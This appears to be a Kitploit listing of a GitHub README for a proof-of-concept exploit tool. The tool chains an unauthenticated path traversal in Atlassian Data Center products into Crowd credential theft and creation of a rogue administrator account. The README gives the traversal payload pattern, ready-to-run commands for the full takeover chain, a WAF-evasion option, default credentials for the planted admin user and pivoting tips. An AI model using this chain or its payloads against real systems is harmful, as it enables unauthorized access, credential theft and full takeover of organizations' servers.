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CVE-2026-21589 — Proof-of-concept for CVE-2026-21589: unauthenticated path traversal file read in Atlassian Data Center products, chained via Crowd credentials into admin account takeover. | Kitploit
Tools/GitHubGitHub/aduli198/cve-2026-21589
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration TestingAuthentication
GitHubaduli198/cve-2026-21589

CVE-2026-21589

Proof-of-concept for CVE-2026-21589: unauthenticated path traversal file read in Atlassian Data Center products, chained via Crowd credentials into admin account takeover.

1 month agoNot yet reviewed
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CVE-2026-21589 — Atlassian Pre-Auth Arbitrary File Read → Crowd Admin Takeover

A proof-of-concept that chains CVE-2026-21589, an unauthenticated arbitrary file read affecting multiple Atlassian Data Center products, into a full administrative account takeover via Atlassian Crowd.

Note on scope: unlike detection-only tools, this PoC implements the full admin-takeover (ATO) chain — file read → Crowd credential extraction → user creation → administrator-group promotion — not just file leakage.

⚠️ Authorized testing only. Use this tool solely against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal in most jurisdictions.


Author

The full admin-takeover (ATO) chain is implemented in this repository by [your name / handle] — replace this placeholder with your name or handle.


Overview

PropertyValue
CVECVE-2026-21589
TypeArbitrary File Read (pre-authentication)
ImpactFile disclosure → admin takeover (when Crowd SSO is in use)
AffectedJira, Confluence, Bitbucket, Bamboo, Crowd, Crucible, Fisheye (Data Center)
Auth requiredNone for the file read

The vulnerability is rooted in atlassian-plugins-webresource, a shared library across most Atlassian products. This PoC demonstrates the full chain, not just file leakage.


Vulnerability details

Root cause

atlassian-plugins-webresource (Router.java) serves static web resources over routes such as:

/download/resources/:completeKey/*resourceName            # Jira
/s/1/_/download/resources/<plugin>/images/*resourceName    # Confluence
/s/1.0/_/download/resources/<plugin>/avatar/*resourceName  # Bitbucket

The user-controlled *resourceName path segment is passed through an unescapeSlashes() function that replaces :: with /. This turns a ..::..::..:: sequence into ../../../, producing a path traversal that can read any file inside the Tomcat webapp context — including everything under WEB-INF/ — without authentication.

public static String unescapeSlashes(String string) {
    return string.replaceAll("::", "/");
}

The admin-takeover chain

┌─ 1 ────────────────────────────────────────────────────────────┐
│  Pre-auth file read of WEB-INF/classes/crowd.properties         │
└─────────────────────────────────────────────────────────────────┘
                                  │
                                  ▼
┌─ 2 ────────────────────────────────────────────────────────────┐
│  Extract application.name + application.password (plaintext)    │
└─────────────────────────────────────────────────────────────────┘
                                  │
                                  ▼
┌─ 3 ────────────────────────────────────────────────────────────┐
│  Authenticate to Crowd REST API with those credentials          │
└─────────────────────────────────────────────────────────────────┘
                                  │
                                  ▼
┌─ 4 ────────────────────────────────────────────────────────────┐
│  Create a new user   →   add them to the product's admin group  │
└─────────────────────────────────────────────────────────────────┘
  1. File read — the traversal primitive reads WEB-INF/classes/crowd.properties, which is present when the product uses Atlassian Crowd for SSO and stores application.name and application.password in plaintext.
  2. Crowd access — those credentials are used to authenticate directly to Crowd's REST API as the application connector.
  3. Privilege escalation — a new user is created and added to the product's administrator group (e.g. jira-administrators), yielding full admin.

Tool execution flow

The script runs in three explicit stages, so it reports file-read exposure independently from Crowd exposure and only attempts the takeover when Crowd is actually present:

  1. STAGE 1 — confirm path traversal. Probe the product's web.xml (or urlrewrite.xml for Bitbucket) to verify the arbitrary file read works. If this fails, the target is not vulnerable and the tool exits.

  2. STAGE 2 — check whether Crowd is installed. Read WEB-INF/classes/crowd.properties. If it contains application.name / application.password, Crowd is installed and the tool proceeds. If not, it reports file-read-only (no ATO possible) and exits cleanly.

  3. STAGE 3 — ATO chain. Only reached when Crowd is installed: authenticate to Crowd, create a user, and add them to the product's admin group.

[+] STAGE 1 OK - pre-auth arbitrary file read confirmed (JIRA)
[+] STAGE 2 OK - Crowd IS installed (application 'jira')
[+] STAGE 3 - ... creating user, promoting to admin ...

If Crowd is not installed, the run ends at STAGE 2:

[*] STAGE 2 - Crowd NOT installed (no crowd.properties with credentials found)
    => Target is vulnerable to arbitrary FILE READ only (no ATO).

Requirements

  • Python 3.8+

Installation

git clone <this repo>
cd CVE-2026-21589

Usage

python cve-2026-21589-admin-takeover.py -H <target-base-url> [options]

Basic examples

# Detect the product and read the default credential file, stop there
python cve-2026-21589-admin-takeover.py -H http://jira.example.com:8080 --read-only

# Full chain: read -> Crowd -> create user -> promote to admin
python cve-2026-21589-admin-takeover.py -H http://jira.example.com:8080

# Force a specific product
python cve-2026-21589-admin-takeover.py -H http://confluence.example.com:8080 -p confluence

# Read an arbitrary file (use "::" as the path separator)
python cve-2026-21589-admin-takeover.py -H http://jira.example.com:8080 \
    --read-file WEB-INF::web.xml --read-only

# Override the Crowd endpoint when it is not derivable/reachable
python cve-2026-21589-admin-takeover.py -H http://jira.example.com:8080 \
    --crowd-base http://10.0.0.5:8095/crowd/rest/usermanagement/1

# Custom credentials for the user to be created
python cve-2026-21589-admin-takeover.py -H http://jira.example.com:8080 \
    --username alice --password 'S3cret!' --email [email protected]

Options

OptionDescription
-H, --hostRequired. Target base URL, e.g. http://jira.example.com:8080
-p, --productjira, confluence, or bitbucket (auto-detected if omitted)
--read-fileFile to read instead of crowd.properties, ::-separated
--depthOverride the number of ..:: traversal hops
--encodeURL-encode :: as %3a%3a to dodge proxy/WAF normalization
--crowd-baseOverride the Crowd REST base URL
--app-nameOverride application.name
--app-passwordOverride application.password
--usernameUsername to create (default tmpadmin)
--passwordPassword for the new user (default ChangeMe123!)
--emailEmail for the new user
--groupAdmin group to add the user to (defaults to a per-product list)
--forceProceed even if the derived Crowd URL is loopback/private
--read-onlyStop after the file read (no Crowd actions)

Scope and limitations

These are real-world deployment constraints that commonly break or limit the full chain. The tool surfaces them rather than silently ignoring them.

  1. Crowd reachability. crowd.properties frequently records crowd.base.url as http://localhost:8095/crowd/ — i.e. the application's view of Crowd, not a URL reachable from the attacker. Crowd also commonly enforces an IP allow-list. The chain only works when Crowd is externally routable, or when you can pivot via SSRF or a compromised host.
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